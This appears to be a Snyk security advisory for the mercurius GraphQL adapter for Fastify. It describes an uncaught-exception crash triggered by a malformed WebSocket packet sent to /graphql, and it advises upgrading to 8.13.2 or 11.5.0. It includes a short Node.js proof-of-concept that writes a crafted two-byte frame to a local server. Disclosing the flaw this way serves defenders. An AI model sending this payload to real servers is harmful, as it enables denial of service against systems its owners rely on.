Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade mercurius
to version 8.13.2, 11.5.0 or higher.
mercurius is a GraphQL adapter for Fastify
Affected versions of this package are vulnerable to Uncaught Exception when sending a malformed packet over WebSocket to /graphql
.
const WebSocket = require('ws');
const ws = new WebSocket('ws://127.0.0.1:1337/graphql');
ws.on('open', function open() {
ws._socket.write(Buffer.from([0xa2, 0x00]));
});